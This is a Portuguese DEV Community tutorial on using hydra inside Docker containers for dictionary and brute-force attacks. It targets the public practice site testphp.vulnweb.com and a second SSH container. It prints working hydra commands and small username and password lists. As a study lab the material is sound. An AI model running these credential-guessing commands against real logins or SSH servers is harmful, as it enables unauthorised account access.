DEV Community

Cover image for Realizando ataques de força bruta em containers docker usando hydra
Filipe Câncio
Filipe Câncio

Posted on

Realizando ataques de força bruta em containers docker usando hydra

Neste post iremos entender como usar a ferramenta hydra para ataques de força bruta e de dicionário através de um site ou de um computador para outro. Podemos entender por definição:

Um ataque de dicionário é um ataque às senhas que usa palavras ou frases comuns encontradas em dicionários para comprometer credenciais de usuários. Caso seja uma pessoa que usa palavras do dicionário ou frases comuns como senha, você corre o risco de ser vítima de um ataque de dicionário. Fonte: Keeper Security

Brute Force é um ataque “Hacker” usado para tentar descobrir a combinação certa de uma senha, tentando várias combinações diferentes. O ataque pode ser feito de forma manual, colocando as senhas uma por vez até que a verdadeira seja encontrada. Fonte: Brasil Cloud

Para realizar os ataques utilizaremos um ambiente controlado usando containers docker. Para você que é leigo com docker digamos que os dockers podem ser usados como máquinas virtuais mas de uma forma mais simples e leve, como se criar uma máquina vitual fosse como preparar uma lasanha do zero e o docker fosse uma lasanha pronta para esquentar no microondas. Ao invés de gastarmos tempo preparando os ingredientes basta pegar uma imagem pronta (seu sabor de lasanha favorito) e a partir dela preparar o seu almoço (container docker).
A imagem que vamos usar é a cancitoo/kali-linux-ssh-hydra basta ir na sua maquina e digitar o comando abaixo (é preciso ter o docker instalado na sua máquina):

docker pull cancitoo/kali-linux-ssh-hydra
Enter fullscreen mode Exit fullscreen mode

A aqui já temos o necessário para relizar nosso laboratório.

Usando ataque de dicionário em um site

Para esse ataque iremos criar a nossa primeira máquina, aqui no exemplo usaremos o seguinte comando:

docker run --name pc01 -p 6050:22 -i -t cancitoo/kali-linux-ssh-hydra bash
Enter fullscreen mode Exit fullscreen mode

Nesse comando criamos um container chamdo pc01 e sua porta 22 será a 6050 da máquina real, ele também já abre nossa máquina no terminal como um bash. A partir daqui já usando no terminal a nossa máquina pc01. Caso no futuro você queira acessa novamente a pc01 basta digitar o comando abaixo:

#para executar um container ja aberto
docker exec -it pc01 /bin/bash
Enter fullscreen mode Exit fullscreen mode

Pronto! Nossa máquina já está pronta para fazer o ataque! Nesse caso, vamos usar atacar o site http://testphp.vulnweb.com/login.php com o comando abaixo:

hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -p 0000 -t 10
Enter fullscreen mode Exit fullscreen mode

Aqui podemos observar que o hydra faz o ataque via uma requisição http inserindo os valores de user com a flag -l e senha -P de forma respectiva nos parametros USER e PASS dentro endereço usado. O ataque deu errado pois a senha do comando acima 0000 não é a correta. Agora vamos montar em pc01 nosso próprio dicionário. Digite o comando abaixo:

nano /tmp/pass.txt
Enter fullscreen mode Exit fullscreen mode

vai aparece o editor nano, coloque nele uma lista de possíveis senhas:

0000
1234
4321
3434
4545
teste
nome
nada
Enter fullscreen mode Exit fullscreen mode

Agora vamos rodar novamente o comando mas desta vez com a flag de password em maiusculo usando nosso novo arquivo /tmp/pass.txt:

hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -P /tmp/pass.txt -t 10
Enter fullscreen mode Exit fullscreen mode

Desta vez o docker irá rodar todo o arquivo /tmp/pass.txt procurando a senha correta. Assim ocorre o ataque de força brutaa. Dest vez vai dar certo o ataque pois a senha correta teste consta no nosso dicionário.

atacando uma maquina para a outra via ssh

Agora vamos criar uma nova máquina pc02 semelhante ao que fizemos com p01:

docker run --name pc02 -p 6051:22 -i -t cancitoo/kali-linux-ssh-hydra bash

#para executar um container ja aberto
docker exec -it pc02 /bin/bash
Enter fullscreen mode Exit fullscreen mode

Repare que dessa vez a porta 22 é a 6051 da maquina real. Vamos adicionar uma camada de segurança em pc02. Por padrão o container não vem com senha, para configurar a senha de pc02 basta digitar o comando abaixo e seguir as instruções:

#para gerar uma senha pro root
passwd
Enter fullscreen mode Exit fullscreen mode

Agora vamos configurar o ssh na máquina pc02. Isso vai permitir conexão ssh de pc01 para pc02:

#definir da chave de acesso remota
ssh-keygen -A

#iniciar o serviço SSH
service ssh start
Enter fullscreen mode Exit fullscreen mode

Voltando para pc01 vamos adicionar senha criada em pc02 no nosso dicionário e criar um novo dicionário com logins:

# Atualizar dicionario com senha
nano /tmp/pass.txt
# criar lista de possíveis usuários
nano /tmp/users.txt
Enter fullscreen mode Exit fullscreen mode

Aqui vai um exemplo para /tmp/users.txt

pedro
carlo
root
admin
Enter fullscreen mode Exit fullscreen mode

Mas ainda falta saber qual o ip de pc02, para isso vamos rodar esse comando em um terminal à parte:
abaixo:

docker inspect -f "{{ .NetworkSettings.IPAddress }}" pc02
Enter fullscreen mode Exit fullscreen mode

Vamos fazer de conta que a respota veio 172.17.0.2. Agora basta executar hydra na porta de ataque

 hydra -L /tmp/users.txt -P /tmp/pass.txt 172.17.0.2 ssh
Enter fullscreen mode Exit fullscreen mode

Top comments (3)

Collapse
 
igorraphael profile image
Igor Raphael

Parabéns pelo post, é sempre bom ver brs por aqui =)

Collapse
 
cancio profile image
Filipe Câncio

valeuzão. Espero que esse ajude a galera que estuda segurança e está fugindo de maquinas virtuais XD

Collapse
 
igorraphael profile image
Igor Raphael

docker é vida kkkkk